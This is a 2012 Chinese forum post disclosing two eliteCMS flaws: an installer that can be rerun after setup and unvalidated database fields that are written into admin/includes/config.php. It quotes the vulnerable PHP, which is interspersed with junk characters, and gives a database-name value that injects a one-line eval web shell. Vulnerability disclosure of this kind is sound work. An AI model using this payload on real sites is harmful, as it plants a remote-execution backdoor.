找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2210|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
9 a: O  ?5 o( m- y* L) u3 m3 x9 v: m
% X4 x3 H' L8 k4 C( ?6 H% R另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php- `  l2 l& t; ]" D% M- ?" u
我们来看代码:0 ^! B! Q" U3 Q' ~

: f, H5 e3 {% s7 z! u$ x...2 w: g; S/ A& f' u# }8 x
elseif ($_GET['step'] == "4") {
0 o( M" w- u2 Y; Z& Z    $file = "../admin/includes/config.php";  E$ I. R$ W# a! I* T$ s. N
    $write = "<?php\n";
8 f! ?5 M8 r4 v2 o    $write .= "/**\n";/ m" Q- Z# o# [8 D6 I' b5 l
    $write .= "*\n";8 O/ S& c5 J+ P! W
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";: E+ P1 L: q# U
...略...5 D4 n4 s1 r+ ?2 \$ L' o# o5 E
    $write .= "*\n";6 E9 J$ S2 ]$ l8 H; V
    $write .= "*/\n";
' n4 N+ R( q2 `' \4 {    $write .= "\n";" s, s2 W/ x8 w% a" d+ \
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";, J* z3 M* {9 j2 a
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% t  R% i. l- S) V$ o3 `, S" W% H    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";6 n, V% w' q2 w4 x  Q, S
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
* s2 F$ s9 n! n, T9 b" Q( k! ~, _. I) S    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
6 L7 X! ~. g' `9 k; `$ V    $write .= "if (!\$connection) {\n";" `7 B8 m$ ~; {9 ]) ~7 l
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";/ J8 e& T- n( O& ^1 k/ r: d0 N
    $write .= "        \n";9 b: ~0 b, [" L, A: L4 O
    $write .= "} \n";- A( G0 g3 v7 d/ {
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";; @" \: K% R! N# F& _9 m
    $write .= "if (!\$db_select) {\n";/ C: y; [. M. \9 W9 b
    $write .= "        die(\"Database select failed\" .mysql_error());\n";+ p: K1 u( Q6 S. |
    $write .= "        \n";
  S2 ], I: Y& g- }0 E6 Q( G6 _    $write .= "} \n";
/ m1 e: X+ V6 |, o, c    $write .= "?>\n";
+ x- y7 o7 ?4 f6 M! M( ^1 }; M 3 X8 [/ J/ b5 ]
    $writer = fopen($file, 'w');3 L# `. E) M8 O8 J, h( @# c9 O
...
9 ^1 R  Y; Y) K2 ~1 _
% C& H5 ]7 \" D在看代码:
* _! g+ ?( I8 ~: l( W; K- u
  H0 r1 ?: W. F8 K$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
& ?5 x3 n( Z6 j: t$ X/ ]8 ~/ A$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
+ B5 {2 ^  {% N% g" }& G7 ^3 H$_SESSION['DB_USER'] = $_POST['DB_USER'];
0 I. F0 ?; l0 {9 [0 \4 I4 k' L$_SESSION['DB_PASS'] = $_POST['DB_PASS'];4 k+ U+ [/ ]! z3 b0 @) r# Y

! E6 S  e6 {4 j/ p2 @; u. `- c取值未作任何验证+ C4 q5 t# }4 L( I2 S" c
如果将数据库名POST数据:  c9 F4 [. @( J# u: j9 s

# ]6 T3 {* g' O" z4 C"?><?php eval($_POST[c]);?><?php5 N2 z& J( l; S; Z- R/ _! H; B

6 D3 k1 w% ?( D9 r% I4 c8 a将导致一句话后门写入/admin/includes/config.php3 M  g' e" H0 \3 K# B1 M) K0 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表